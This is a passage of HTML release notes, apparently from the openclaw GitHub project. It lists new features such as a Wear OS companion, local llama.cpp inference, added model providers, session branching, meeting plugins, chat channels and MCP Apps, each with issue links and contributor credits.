data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li><strong>Wear OS companion:</strong> add the phone-proxied Wear companion with home-screen agent/session/model selection, realtime Talk controls, audio-reactive playback, and an instant-talk tile. <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900217480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108781" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/108781/hovercard" href="https://github.com/openclaw/openclaw/issues/108781">#108781</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900638295" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108835" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108835/hovercard" href="https://github.com/openclaw/openclaw/pull/108835">#108835</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4905978111" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109341/hovercard" href="https://github.com/openclaw/openclaw/pull/109341">#109341</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4906882963" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109433" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109433/hovercard" href="https://github.com/openclaw/openclaw/pull/109433">#109433</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4907143981" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109483/hovercard" href="https://github.com/openclaw/openclaw/pull/109483">#109483</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4918056303" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110661" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110661/hovercard" href="https://github.com/openclaw/openclaw/pull/110661">#110661</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4924051432" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111516" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111516/hovercard" href="https://github.com/openclaw/openclaw/pull/111516">#111516</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951934577" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112721" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112721/hovercard" href="https://github.com/openclaw/openclaw/pull/112721">#112721</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sibbl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sibbl">@sibbl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li><strong>Guided setup and local inference:</strong> guide setup across browser, Linux, and macOS with local-provider detection, strongest-model selection, downloadable models, lean mode, memory imports, and an in-process RAM-gated llama.cpp/Gemma path. <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898594269" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/108604/hovercard" href="https://github.com/openclaw/openclaw/issues/108604">#108604</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898612991" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108605" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108605/hovercard" href="https://github.com/openclaw/openclaw/pull/108605">#108605</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900752132" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108868" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108868/hovercard" href="https://github.com/openclaw/openclaw/pull/108868">#108868</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4901780225" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108977" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108977/hovercard" href="https://github.com/openclaw/openclaw/pull/108977">#108977</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4904646715" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109250" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109250/hovercard" href="https://github.com/openclaw/openclaw/pull/109250">#109250</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4906936814" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109444/hovercard" href="https://github.com/openclaw/openclaw/pull/109444">#109444</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4907720873" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109585" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109585/hovercard" href="https://github.com/openclaw/openclaw/pull/109585">#109585</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4912377236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110054" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110054/hovercard" href="https://github.com/openclaw/openclaw/pull/110054">#110054</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914149335" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110141/hovercard" href="https://github.com/openclaw/openclaw/pull/110141">#110141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917673968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110596" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110596/hovercard" href="https://github.com/openclaw/openclaw/pull/110596">#110596</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973902730" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113476/hovercard" href="https://github.com/openclaw/openclaw/pull/113476">#113476</a>)</li>
</ul>
<h3>Changes</h3>
<ul>
<li><strong>Models and providers:</strong> add Claude Opus 5 across catalog and runtime, Kimi K3, and GPT Live realtime support with the supported Platform API authentication path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971525595" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113391" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113391/hovercard" href="https://github.com/openclaw/openclaw/pull/113391">#113391</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971532709" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113392" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113392/hovercard" href="https://github.com/openclaw/openclaw/pull/113392">#113392</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975576694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113633" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113633/hovercard" href="https://github.com/openclaw/openclaw/pull/113633">#113633</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972109422" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113412" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113412/hovercard" href="https://github.com/openclaw/openclaw/issues/113412">#113412</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978182040" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113909/hovercard" href="https://github.com/openclaw/openclaw/pull/113909">#113909</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969758982" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113354" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113354/hovercard" href="https://github.com/openclaw/openclaw/pull/113354">#113354</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969755799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113353" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113353/hovercard" href="https://github.com/openclaw/openclaw/issues/113353">#113353</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li><strong>Local inference and setup:</strong> detect local inference providers during onboarding, add in-process llama.cpp GGUF inference and Baseten Model API support, discover models from live provider catalogs, and offer model downloads from web and macOS setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898612991" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108605" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108605/hovercard" href="https://github.com/openclaw/openclaw/pull/108605">#108605</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898594269" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/108604/hovercard" href="https://github.com/openclaw/openclaw/issues/108604">#108604</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4906936814" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109444/hovercard" href="https://github.com/openclaw/openclaw/pull/109444">#109444</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4899604872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108708" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108708/hovercard" href="https://github.com/openclaw/openclaw/pull/108708">#108708</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4899318301" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108665" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/108665/hovercard" href="https://github.com/openclaw/openclaw/issues/108665">#108665</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942806291" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112412" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112412/hovercard" href="https://github.com/openclaw/openclaw/pull/112412">#112412</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942622013" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/112405/hovercard" href="https://github.com/openclaw/openclaw/issues/112405">#112405</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973902730" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113476/hovercard" href="https://github.com/openclaw/openclaw/pull/113476">#113476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li><strong>Sessions and dashboards:</strong> add rewind/fork and branch switching across web and native chat, session boards and dashboards, archived/visibility/draft/incognito session states, and suggestion queues with typing indicators. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4918055909" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110660" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110660/hovercard" href="https://github.com/openclaw/openclaw/pull/110660">#110660</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919325526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110857/hovercard" href="https://github.com/openclaw/openclaw/pull/110857">#110857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919558310" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110886/hovercard" href="https://github.com/openclaw/openclaw/pull/110886">#110886</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921025593" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111149" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111149/hovercard" href="https://github.com/openclaw/openclaw/pull/111149">#111149</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917992336" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110644" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110644/hovercard" href="https://github.com/openclaw/openclaw/pull/110644">#110644</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920061650" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110960" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110960/hovercard" href="https://github.com/openclaw/openclaw/pull/110960">#110960</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4946181815" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112554" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112554/hovercard" href="https://github.com/openclaw/openclaw/pull/112554">#112554</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953687816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112787" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112787/hovercard" href="https://github.com/openclaw/openclaw/pull/112787">#112787</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4958007779" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113006" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113006/hovercard" href="https://github.com/openclaw/openclaw/pull/113006">#113006</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961780282" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113127/hovercard" href="https://github.com/openclaw/openclaw/pull/113127">#113127</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963648587" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113173/hovercard" href="https://github.com/openclaw/openclaw/pull/113173">#113173</a>)</li>
<li><strong>Native apps:</strong> bring Quick Chat to macOS and Linux with streaming, routing, context capture, dictation, and model controls; add Linux desktop integration and signed updates; add multi-gateway apps and mobile dashboards; and expand Wear OS companion/Talk support. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4908703739" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109720" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109720/hovercard" href="https://github.com/openclaw/openclaw/pull/109720">#109720</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910769316" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109947/hovercard" href="https://github.com/openclaw/openclaw/pull/109947">#109947</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915955208" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110285/hovercard" href="https://github.com/openclaw/openclaw/pull/110285">#110285</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917950093" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110631" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110631/hovercard" href="https://github.com/openclaw/openclaw/pull/110631">#110631</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917952398" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110632" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110632/hovercard" href="https://github.com/openclaw/openclaw/pull/110632">#110632</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917976480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110635" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110635/hovercard" href="https://github.com/openclaw/openclaw/pull/110635">#110635</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920267990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110994/hovercard" href="https://github.com/openclaw/openclaw/pull/110994">#110994</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4904393259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109236" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109236/hovercard" href="https://github.com/openclaw/openclaw/pull/109236">#109236</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900120928" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108770" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108770/hovercard" href="https://github.com/openclaw/openclaw/pull/108770">#108770</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931765614" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111932" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111932/hovercard" href="https://github.com/openclaw/openclaw/pull/111932">#111932</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931741308" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111931" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111931/hovercard" href="https://github.com/openclaw/openclaw/issues/111931">#111931</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935901553" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112163" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112163/hovercard" href="https://github.com/openclaw/openclaw/pull/112163">#112163</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4905978111" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109341/hovercard" href="https://github.com/openclaw/openclaw/pull/109341">#109341</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4906882963" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109433" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109433/hovercard" href="https://github.com/openclaw/openclaw/pull/109433">#109433</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900217480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108781" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/108781/hovercard" href="https://github.com/openclaw/openclaw/issues/108781">#108781</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4907143981" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109483/hovercard" href="https://github.com/openclaw/openclaw/pull/109483">#109483</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951934577" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112721" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112721/hovercard" href="https://github.com/openclaw/openclaw/pull/112721">#112721</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sibbl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sibbl">@sibbl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li><strong>Meetings:</strong> add Teams and Zoom meeting guests, enable Teams, Zoom, and Google Meet plugins by default, and automatically collect durable meeting transcripts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4911117058" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109964/hovercard" href="https://github.com/openclaw/openclaw/pull/109964">#109964</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920537806" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111048" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111048/hovercard" href="https://github.com/openclaw/openclaw/pull/111048">#111048</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4958859941" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113022" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113022/hovercard" href="https://github.com/openclaw/openclaw/pull/113022">#113022</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4959689587" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113053" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113053/hovercard" href="https://github.com/openclaw/openclaw/pull/113053">#113053</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961606646" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113122" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113122/hovercard" href="https://github.com/openclaw/openclaw/pull/113122">#113122</a>)</li>
<li><strong>Channels:</strong> add the Buzz plugin, Slack user-identity and Agent View modes, Telegram Bot API rich blocks and native Markdown lists, and richer Matrix formatting. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972293812" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113419" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113419/hovercard" href="https://github.com/openclaw/openclaw/pull/113419">#113419</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909745074" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109837" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109837/hovercard" href="https://github.com/openclaw/openclaw/pull/109837">#109837</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857674058" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103895" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/103895/hovercard" href="https://github.com/openclaw/openclaw/pull/103895">#103895</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854743734" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103673" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/103673/hovercard" href="https://github.com/openclaw/openclaw/issues/103673">#103673</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4889153728" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107986" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107986/hovercard" href="https://github.com/openclaw/openclaw/pull/107986">#107986</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963294185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113158" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113158/hovercard" href="https://github.com/openclaw/openclaw/pull/113158">#113158</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964385177" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113199" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113199/hovercard" href="https://github.com/openclaw/openclaw/pull/113199">#113199</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li><strong>Browser and MCP Apps:</strong> add a secure per-tab browser copilot, batch browser CLI, bounded page-question extraction, a ticketed MCP App host and Control UI bridge, and manifest-declared MCP Apps for native plugins. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909545029" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109817" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109817/hovercard" href="https://github.com/openclaw/openclaw/pull/109817">#109817</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4923161388" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111457" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111457/hovercard" href="https://github.com/openclaw/openclaw/pull/111457">#111457</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977647553" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113861/hovercard" href="https://github.com/openclaw/openclaw/pull/113861">#113861</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909872466" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109861/hovercard" href="https://github.com/openclaw/openclaw/pull/109861">#109861</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909810617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109851" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/109851/hovercard" href="https://github.com/openclaw/openclaw/issues/109851">#109851</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909498874" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109807/hovercard" href="https://github.com/openclaw/openclaw/pull/109807">#109807</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965395536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113224" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113224/hovercard" href="https://github.com/openclaw/openclaw/pull/113224">#113224</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965166757" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113218" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113218/hovercard" href="https://github.com/openclaw/openclaw/issues/113218">#113218</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anagnorisis2peripeteia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anagnorisis2peripeteia">@anagnorisis2peripeteia</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FMLS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FMLS">@FMLS</a>, <a 